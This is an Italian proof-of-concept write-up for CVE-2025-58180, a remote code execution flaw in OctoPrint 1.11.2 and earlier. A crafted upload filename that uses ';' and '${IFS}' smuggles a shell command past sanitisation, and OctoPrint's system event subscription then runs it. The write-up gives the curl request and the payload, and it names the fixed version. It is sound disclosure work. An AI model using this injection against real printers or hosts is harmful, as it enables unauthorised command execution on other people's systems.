CVE-2025-58180 RCE in OctoPrint attraverso nome file non sanificato nel caricamento file

In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento file (es. chiave API valida o sessione) può creare un nome file malevolo che bypassa la sanificazione e viene successivamente eseguito dal sistema eventi di OctoPrint, portando a esecuzione di codice remoto (RCE) sull'host

PoC: Passaggi per ricreare la vulnerabilità

Step 1: Informazioni sulla versione

Scaricata ultima release stabile: OctoPrint 1.11.2

Step 2: Avvia OctoPrint

octoprint serve --port 5000 --debug

• Apri http://127.0.0.1:5000 nel browser.
• Segui la procedura guidata iniziale → crea un utente con impostazioni predefinite (disabilitati: connettività, anonimo, plugin).
• Prendi la chiave API da Impostazioni → API → salva per dopo.

Ferma il servizio OctoPrint una volta completati i passaggi precedenti.

Step 3: Configura la sottoscrizione agli eventi

Segui la documentazione sugli eventi di OctoPrint:

Modifica ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"

Step 4: Crea un G-code di esempio

Crea /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Riavvia il servizio OctoPrint.

Step 5: Prova di concetto (PoC) RCE

1. Esporta la chiave API:

export API_KEY='<key previously gathered from webUI>'

2. Verifica che il file non esista:

ls -la /tmp/test123

3. Crea il payload del nome file malevolo: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Spiegazione: ${IFS} è il separatore di campo interno (Internal Field Separator) della shell (di solito uno spazio). Bypassa la sanificazione quando viene iniettato.

4. Invia la richiesta curl:

curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"

5. Verifica l'esecuzione:

ls -la /tmp/test123

Se /tmp/test123 esiste, il comando iniettato è stato eseguito con successo → RCE confermata.

Spiegazione del flusso

[Caricamento utente con nome file malevolo]
        │
        ▼
server/api/files.py → accetta nome file grezzo (i metacaratteri sopravvivono a sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} include caratteri grezzi
        │
        ▼
sottoscrittore comando di sistema → subprocess.check_call(..., shell=True)
        │
        ▼
[I metacaratteri shell iniettati vengono eseguiti come comandi del sistema operativo]

Riepilogo

Quando un file viene caricato:

1. OctoPrint accetta il nome file (con sanificazione limitata).
2. Attiva un evento FileAdded.
3. Se i comandi di sistema sono sottoscritti a questo evento, il nome file grezzo (inclusi ;, ${IFS}, ecc.) viene passato a una shell.
4. Questo permette ai comandi iniettati all'interno del nome file di essere eseguiti sull'host.

Risultato: Esecuzione di codice remoto (RCE) sul sistema host.

Riferimenti

• CVE Assegnato:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
• Versione corretta: 1.11.3